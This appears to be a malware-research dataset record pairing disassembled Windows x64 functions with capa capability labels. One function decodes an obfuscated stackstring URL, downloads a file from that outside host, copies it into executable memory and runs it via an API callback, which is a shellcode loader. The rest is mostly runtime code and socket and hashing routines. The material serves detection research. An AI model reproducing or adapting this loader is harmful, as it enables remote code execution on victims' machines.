joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001ab0
Capabilities:
Download url
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rdi
sub rsp, 0x170
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x20], rsi
mov rbx, rcx
xor esi, esi
mov dword [rax + 0x18], esi
mov qword [rcx], rsi
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], rsi
mov dword [rax + 0x18], 1
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
mov r9d, 0x104
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToCacheFileA]
test eax, eax
js 0x140001b69
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.1400017d0
mov rdi, rax
cmp rbx, rax
je 0x140001b5a
mov rcx, qword [rbx]
test rcx, rcx
je 0x140001b2e
call fcn.140005040
mov qword [rbx], rsi
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rsi
mov rax, qword [rdi]
mov qword [rbx], rax
mov rax, qword [rdi + 8]
mov qword [rbx + 8], rax
mov rax, qword [rdi + 0x10]
mov qword [rbx + 0x10], rax
mov qword [rdi], rsi
mov qword [rdi + 8], rsi
mov qword [rdi + 0x10], rsi
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140001b69
call fcn.140005040
mov rax, rbx
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140001b90
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
mov dword [rbp - 0x30], 0x70747468
mov dword [rbp - 0x2c], 0x772f2f3a
mov dword [rbp - 0x28], 0x742e7777
mov dword [rbp - 0x24], 0x7a676e6f
mov dword [rbp - 0x20], 0x2e326968
mov dword [rbp - 0x1c], 0x2f6d6f63
mov dword [rbp - 0x18], 0x34323032
mov dword [rbp - 0x14], 0x32313130
mov dword [rbp - 0x10], 0x67706a2e
mov byte [rbp - 0xc], 0
call fcn.140001ab0
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
cmp rcx, rdx
je 0x140001c4a
sub rdx, rcx
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
mov qword [rsp + 0x80], rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x50]
sub r8, rdx
mov rcx, rax
mov rbx, rax
call fcn.140004360
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor r8d, r8d
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.dbghelp.dll_EnumerateLoadedModules64]
mov rcx, qword [rbp - 0x50]
mov rbx, qword [rsp + 0x80]
test rcx, rcx
je 0x140001c54
call fcn.140005040
xor eax, eax
add rsp, 0x70
pop rbp
ret
Function at 0x140003420
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rdi, rcx
cmp qword [rcx + 0x80], 0
je 0x140003659
cmp byte [rcx + 0x89], 0
je 0x140003659
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000362d
mov edx, 0xf
mov qword [rbp - 0x10], rdx
mov byte [rbp - 0x28], 0
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], 8
lea rax, [rbp - 0x28]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
xor r12d, r12d
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
nop word [rax + rax]
lea rdx, [rbp - 0x28]
cmp r9, 0x10
cmovae rdx, r10
lea r8, [rbp - 0x28]
cmovae r8, r10
mov rcx, qword [rdi + 0x80]
mov r10, qword [rcx]
mov rax, qword [rbp - 0x18]
lea r9, [rdx + rax]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
lea rdx, [rdi + 0x8c]
call qword [r10 + 0x30]
test eax, eax
je 0x1400034f8
dec eax
jne 0x1400035f7
jmp 0x1400034ff
mov byte [rdi + 0x89], r12b
lea rax, [rbp - 0x28]
mov r10, qword [rbp - 0x28]
mov r9, qword [rbp - 0x10]
cmp r9, 0x10
cmovae rax, r10
mov rbx, qword [rbp + 0x20]
sub rbx, rax
je 0x14000354d
lea rcx, [rbp - 0x28]
cmp r9, 0x10
cmovae rcx, r10
mov r9, qword [rdi + 0x98]
mov r8, rbx
mov edx, 1
call fcn.14000525c
cmp rbx, rax
jne 0x14000361d
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
cmp byte [rdi + 0x89], r12b
je 0x14000364b
test rbx, rbx
jne 0x1400034b0
or rax, 0xffffffffffffffff
mov r8, qword [rbp - 0x18]
sub rax, r8
cmp rax, 8
jbe 0x14000363e
lea rbx, [r8 + 8]
cmp rbx, 0xfffffffffffffffe
ja 0x140003631
cmp r9, rbx
jae 0x1400035a1
mov rdx, rbx
lea rcx, [rbp - 0x28]
call fcn.1400039c0
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
jmp 0x1400035be
test rbx, rbx
jne 0x1400035c7
mov qword [rbp - 0x18], r12
lea rax, [rbp - 0x28]
cmp r9, 0x10
cmovae rax, r10
mov byte [rax], r12b
jmp 0x14000349b
test rbx, rbx
je 0x1400034b0
lea rcx, [rbp - 0x28]
cmp r9, 0x10
cmovae rcx, r10
mov rax, qword [rbp - 0x18]
xor edx, edx
mov qword [rcx + rax], rdx
mov qword [rbp - 0x18], rbx
lea rax, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rax, qword [rbp - 0x28]
mov byte [rax + rbx], dl
jmp 0x14000349b
sub eax, 2
je 0x140003610
cmp qword [rbp - 0x10], 0x10
jb 0x14000362d
mov rcx, qword [rbp - 0x28]
call fcn.140005040
xor al, al
jmp 0x14000365b
cmp qword [rbp - 0x10], 0x10
jb 0x140003659
mov rcx, qword [rbp - 0x28]
jmp 0x140003654
cmp qword [rbp - 0x10], 0x10
jb 0x14000362d
mov rcx, qword [rbp - 0x28]
call fcn.140005040
xor al, al
jmp 0x14000365b
lea rcx, str.string_too_long
call fcn.140010bfc
int3
lea rcx, str.string_too_long
call fcn.140010bfc
nop
cmp r9, 0x10
jb 0x140003659
mov rcx, r10
call fcn.140005040
mov al, 1
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret

Function at 0x140006868
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400066d8
Function at 0x14000b370
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14001e570]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140008ad4
xor ebx, ebx
cmp qword [0x140020798], rbx
mov rdi, rax
jne 0x14000b483
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14000b55a
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000b55a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140020798], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1400207a0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1400207a8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1400207b8], rax
test rax, rax
je 0x14000b47a
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1400207b0], rax
jmp 0x14000b48a
mov rax, qword [0x1400207b0]
jmp 0x14000b491
mov rax, qword [0x1400207b0]
mov r11, qword [0x1400207b8]
cmp rax, rdi
je 0x14000b4f8
cmp r11, rdi
je 0x14000b4f8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1400207b8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14000b4f8
test rax, rax
je 0x14000b4f8
call rsi
test rax, rax
je 0x14000b4f2
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000b4f2
test byte [rsp + 0x40], 1
jne 0x14000b4f8
bts ebp, 0x15
jmp 0x14000b538
mov rcx, qword [0x1400207a0]
cmp rcx, rdi
je 0x14000b538
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000b538
call rax
mov rbx, rax
test rax, rax
je 0x14000b538
mov rcx, qword [0x1400207a8]
cmp rcx, rdi
je 0x14000b538
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000b538
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140020798]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000b55a
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14000b55c
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140009db0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000daeb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14001e570]
jne 0x140009dca
rol rcx, 0x10
test cx, 0xffff
jne 0x140009dc6
repz ret
ror rcx, 0x10
jmp 0x14000da44
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140020870]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140020968]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000dac9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140020870]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000daeb
mov rax, qword [rsp + 0x88]
mov qword [0x140020968], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140020908], rax
mov rax, qword [0x140020968]
mov qword [0x1400207e0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400208f0], rax
mov dword [0x1400207d0], 0xc0000409
mov dword [0x1400207d4], 1
mov rax, qword [0x14001e570]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14001e578]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140020868], eax
mov ecx, 1
call fcn.140009dd0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140018660]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140020868], 0
jne 0x14000db72
mov ecx, 1
call fcn.140009dd0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1400072e0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x14000733d
lea rbx, [0x14007bea0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140007324
cmp r10, 2
jb 0x140007324
cmp byte [r9], r8b
jne 0x140007324
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140007300
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14000737f
lea rbx, [0x14007bea0]
cmp r8b, 0x23
jne 0x140007363
cmp byte [r9], r8b
jne 0x140007363
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140007350
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x1400074c0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x1400074da
mov qword [r8], 0
lea rdx, [0x14007ba3c]
call fcn.140007390
mov rbx, rax
test rax, rax
jne 0x1400074fa
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x1400075d1
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1400075d1
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x1400075d1
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1400075d1
cmp rdi, 0xffffffffffffffff
je 0x1400075d1
mov rax, qword [0x140963910]
test rax, rax
je 0x14000756e
inc dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x1400075d1
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x1400075be
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x140963910]
test rax, rax
je 0x1400075b3
dec dword [rax + 0xf4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1400075da
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x1400075cc
mov qword [r14], rdi
mov rax, rsi
jmp 0x1400075dc
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x140009f80
Capabilities:
Hash data with crc32

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rdx
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0xe8]
mov rax, qword [rcx + 0xf0]
mov ebx, dword [rax + r8*4 - 4]
lea r8, [0x14007bea0]
not ebx
movzx eax, dl
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [r11 + 0x11]
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [r11 + 0x12]
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [r11 + 0x13]
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [r11 + 0x14]
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [r11 + 0x15]
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [r11 + 0x16]
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [r11 + 0x17]
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
xor ebx, dword [r8 + rcx*4]
mov rcx, qword [0x140963910]
not ebx
cmp dword [rcx + 0x3ee8], ebx
jne 0x14000a056
mov r8, rdx
mov ecx, ebx
mov edx, recv
call fcn.14001c970
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x14000a060
Capabilities:
Hash data with crc32

Disassembly:
mov dword [rsp + 0x10], edx
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0xe8]
mov rax, qword [rcx + 0xf0]
mov ebx, dword [rax + r8*4 - 4]
lea r8, [0x14007bea0]
not ebx
movzx eax, dl
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x39]
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x3a]
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x3b]
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
xor ebx, dword [r8 + rcx*4]
mov rcx, qword [0x140963910]
not ebx
cmp dword [rcx + 0x3ee8], ebx
jne 0x14000a0eb
movsxd r8, edx
mov ecx, ebx
mov edx, 4
call fcn.14001c970
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x140016ad0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140099040]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x140963910]
mov edi, ecx
cmp byte [rbx + 0x4a2d], 0
jne 0x140016b31
cmp byte [rbx + 0x4a2e], 0
jne 0x140016b31
movsx r9d, word [rbx + 0x5b32]
lea r8, [0x14007b748]
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x20]
call fcn.1400071a0
test dil, 1
je 0x140016c58
jmp 0x140016bba
movss xmm1, dword [rbx + 0x3898]
lea r8, [0x14007b748]
movsx r9d, word [rbx + 0x5b32]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x14008af34]
mulss xmm1, dword [0x14008af1c]
lea edx, [rax + 0x10]
addss xmm0, dword [rbx + 0xdfc]
addss xmm1, dword [rbx + 0xe00]
mov qword [rbx + 0x4790], rax
mov dword [rbx + 0x477c], 1
movss dword [rbx + 0x4788], xmm0
movss dword [rbx + 0x478c], xmm1
movss xmm0, dword [rbx + 0x38f4]
mulss xmm0, dword [0x14008ae98]
or dword [rbx + 0x4778], 0x41
movss dword [rbx + 0x47d8], xmm0
call fcn.1400071a0
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140016c10
lea r11, [0x14007bea0]
nop word [rax + rax]
cmp r9b, 0x23
jne 0x140016bf3
cmp byte [r8], r9b
jne 0x140016bf3
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140016be0
not ecx
call fcn.14000db90
test rax, rax
je 0x140016c58
cmp byte [rax + 0xae], 0
je 0x140016c58
mov byte [rax + 0xb5], 1
lea r8, [0x14007b748]
mov byte [rax + 0xd0], 1
lea rcx, [rsp + 0x20]
inc word [rbx + 0x5b32]
mov edx, reloc.WS2_32.dll_recv
movsx r9d, word [rbx + 0x5b32]
call fcn.1400071a0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.140010230
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140075d20
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x14001b400
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5c18], 0
lea rbx, [rcx + 0x5c20]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x14001b4a7
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x14001b45a
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.14001d580
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.1400079e0
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5c18]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5c28]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x140963908]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x14001b4af
mov rcx, rbx
call fcn.1400079e0
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x14001b930
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x140963910]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x14001b993
mov qword [rsp], rbx
lea rbx, [0x14007bea0]
nop dword [rax]
cmp r9b, 0x23
jne 0x14001b973
cmp byte [r8], r9b
jne 0x14001b973
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x14001b960
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5b90]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x14001b9c7
mov r10, qword [r10 + 0x5b98]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x14001b9ce
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x14001b9b4
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x14003bde0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rdi, rdx
mov rbx, rcx
xor ebp, ebp
mov dword [rsp + 0x20], ebp
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rbp
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rcx], bpl
mov dword [rsp + 0x20], 1
lea rsi, [rdx + 0x10]
mov rdx, qword [rsi]
call fcn.14005a330
lea r15d, [rbp - 6]
cmp qword [rdi + 0x18], 0xf
jbe 0x14003be4c
mov r14, qword [rdi]
mov rcx, r14
mov rdi, r14
jmp 0x14003be52
mov r14, rdi
mov rcx, rdi
mov r13, qword [rsi]
add r13, rcx
cmp rdi, r13
je 0x14003bf51
lea r8, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
nop dword [rax + rax]
shl ebp, 8
movzx eax, byte [r14]
add ebp, eax
add r15d, 8
js 0x14003bef6
movsxd r12, ebp
movsxd rdi, r15d
lea ecx, [r15 + 6]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 2
mov esi, edx
imul eax, edx, 0xfffffffa
add r15d, eax
nop dword [rax + rax]
mov rax, r12
mov rcx, rdi
sar rax, cl
and eax, 0x3f
movzx r9d, byte [rax + r8]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x14003bedd
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x14003bed2
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14003beec
mov rcx, rbx
call fcn.14005f700
lea r8, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
sub rdi, 6
sub rsi, 1
jne 0x14003bea0
inc r14
cmp r14, r13
jne 0x14003be70
cmp r15d, 0xfffffffa
jle 0x14003bf51
lea ecx, [r15 + 8]
shl ebp, 8
movsxd rax, ebp
sar rax, cl
and eax, 0x3f
movzx r9d, byte [rax + r8]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x14003bf49
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x14003bf3e
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14003bf51
mov rcx, rbx
call fcn.14005f700
mov rcx, qword [rbx + 0x10]
test cl, 3
je 0x14003bf99
nop word [rax + rax]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x14003bf85
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x14003bf7d
mov rax, qword [rbx]
mov word [rax + rcx], 0x3d
jmp 0x14003bf90
mov r9b, 0x3d
mov rcx, rbx
call fcn.14005f700
mov rcx, qword [rbx + 0x10]
test cl, 3
jne 0x14003bf60
mov rax, rbx
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14003c8a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov edi, r9d
mov rsi, r8
mov rbp, rdx
mov r14, rcx
nop word [rax + rax]
mov r9d, edi
mov r8d, esi
mov rdx, rbp
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
movsxd rbx, eax
test eax, eax
jns 0x14003c8f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14003c8d0
mov rbp, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x14003c920
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
mov rax, qword [0x140099040]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov qword [rsp + 0x48], rcx
lea edi, [rcx + 1]
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x34], r8d
nop dword [rax + rax]
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x40]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x14003c98f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14003c960
mov rax, rbx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140075d20
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret

Function at 0x14003c9c0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rdi
sub rsp, 0x20
xor r8d, r8d
xor edx, edx
mov rdi, rcx
call fcn.14003c920
test rax, rax
jne 0x14003c9e0
mov al, 1
add rsp, 0x20
pop rdi
ret
jns 0x14003c9f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 9
jne 0x14003c9f5
xor al, al
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x40], rsi
lea rsi, [rsp + 0x38]
nop dword [rax]
nop dword [rax + rax]
mov r9d, 2
mov rdx, rsi
mov rcx, rdi
